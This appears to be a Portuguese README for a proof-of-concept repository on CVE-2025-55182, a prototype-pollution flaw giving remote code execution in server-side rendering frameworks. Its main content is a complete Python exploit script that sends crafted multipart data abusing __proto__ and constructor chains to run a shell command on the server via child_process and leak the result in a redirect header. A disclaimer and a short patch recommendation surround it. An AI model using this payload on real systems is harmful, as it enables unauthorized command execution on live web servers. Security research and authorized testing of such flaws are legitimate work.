
Prova de conceito de exploração para CVE-2025-55182, demonstrando poluição de protótipo que leva à execução remota de código em implementações de renderização no lado do servidor. Inclui script de exploração em Python e recomendações de segurança.
Este repositório contém uma Prova de Conceito (PoC) para CVE-2025-55182, uma vulnerabilidade que envolve Poluição de Protótipo que leva à Execução Remota de Código (RCE) em determinadas implementações de renderização no lado do servidor.
⚠️ Aviso: Esta PoC é estritamente para fins educacionais, de pesquisa e testes de segurança autorizados em ambientes pessoais ou controlados. O uso não autorizado em sistemas sem permissão é ilegal.
A vulnerabilidade ocorre quando entrada de usuário não validada é injetada em estruturas internas de objetos JavaScript (Poluição de Protótipo). Quando combinada com fluxos de execução específicos, isso pode levar à execução arbitrária de código.
Nesta PoC, propriedades encadeadas como __proto__ e constructor são usadas para elevar a poluição a um contexto de execução.
Abaixo está o exploit.py demonstrando como a vulnerabilidade pode ser explorada:
import requests
import json
url = "http://localhost:3000"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
}
prefix = "var res=process.mainModule.require('child_process').execSync('id').toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
files = {
"0": (
None,
json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"application/json",
),
"1": (None, "\"$@0\""),
}
response = requests.post(url, headers=headers, files=files)
print("Headers:", response.headers.get('x-action-redirect'))
python3 exploit.py
Certifique-se de executar isso apenas em um ambiente local ou de desenvolvimento.
Se esta vulnerabilidade afetar um projeto real, verifique e instale os patches de segurança mais recentes lançados pelos mantenedores.
child_process em produçãoLicença MIT